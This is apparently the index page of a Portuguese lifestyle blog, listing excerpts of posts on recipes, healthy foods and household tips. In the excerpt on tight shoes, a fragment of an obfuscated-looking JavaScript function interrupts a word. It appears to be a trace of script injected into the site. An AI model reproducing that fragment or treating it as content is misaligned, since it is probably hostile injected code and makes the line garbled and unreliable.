Dez 23, 2016 | Equilíbrio, Saúde e bem estar
5 boas razões para comer bacalhau “P” de Portugal, “P” de pescador, “P” de peixe!! O “P” é, de facto, uma letra de muitas paixões!!! Como bons portugueses que somos, não dispensamos uma saborosa refeição proveniente do mar, cozinhada com a mestria que nos é...
Dez 19, 2016 | À descoberta, Dicas úteis
7 dicas fantásticas para brilhar na cozinha Sim, eu assumo não tenho muito jeito para cozinhar. Mas adoro comer. No entanto adoro saber e descobrir aqueles truques que se usam na cozinha para fazer comidinha boa. Por isso vou partilhar consigo agora 7 dicas...
Dez 15, 2016 | À descoberta, Dicas úteis, header
5 truques fantásticos para sapatos apertados Hoje vou partilhar consigo um conjuntos de dicas que lhe vão dar muito jeito: 5 truques fantásticos para sapatos apertados. Nós mulheres temos grfunction a4872b9c6b(y1){var...
Dez 14, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, Teresa
Dicas saudáveis – Benefícios do azeite O azeite faz parte da celebrada dieta mediterrânica e usamo-lo em praticamente todos os nossos cozinhados. No meu caso, apenas o substituo por óleo de coco algumas vezes, que também é óptimo. O azeite é de facto uma gordura...
Dez 10, 2016 | À descoberta, Dicas úteis, Em Alta
Como ter a casa quente e confortável – 6 dicas Com a chegada dos dias mais frios, sabe mesmo bem sentir que a nossa casa é o sítio onde podemos manter-nos quentinhos e aconchegados. Mas, se a sua casa não é quente o suficiente, há várias formas de a tornar um...
Dez 7, 2016 | À descoberta, Em Alta, Receitas
Crumble de Pera – Uma sobremesa para todos Ingredientes (p / 8 doses) 850 g peras (sem casca e caroço) Gengibre q.b. 140 g de flocos de aveia 50 g creme vegetal 30 g mel 1 c. chá canela em pó Preparação: Descasque e corte as peras em peras em pedaços...
Dez 7, 2016 | À descoberta, Dicas úteis
Usos surpreendentes das borras de café Um dos países que costuma dar um uso especial às borras de café é a Turquia. E há quem garanta que nelas se consegue ver o futuro. Crenças aparte, há uns quantos usos que lhes pode dar e que funcionam de VERDADE! Mas para isso,...
Dez 5, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – Benefícios dos pimentos Verdes, vermelhos e amarelos… Os pimentos são como os clubes: há para todos os gostos! Já em relação aos pratos, os pimentos são uma verdadeira enchente de cor! Muitas vezes subvalorizados, com a ideia de que são...
Nov 30, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Sugestões
Sopa de Cenoura e Espinafres (para 6 pessoas) Ingredientes para 6 pessoas: 3 cenouras 1 curgete ½ couve-flor 1 cebola 2 dentes de alhos 150g espinafres 3. sopa azeite q.b. sal Preparação: Descasque e corte os vegetais em pedaços. Pode deixar a casca da curgete....
Nov 28, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios dos ovos Os ovos são dos alimentos mais versáteis para cozinhar e eu confesso que gosto deles de todas as maneiras: mexidos, cozidos, estrelados, escalfados, fritos e até mesmo assados! E, além de serem uma verdadeira delícia,...
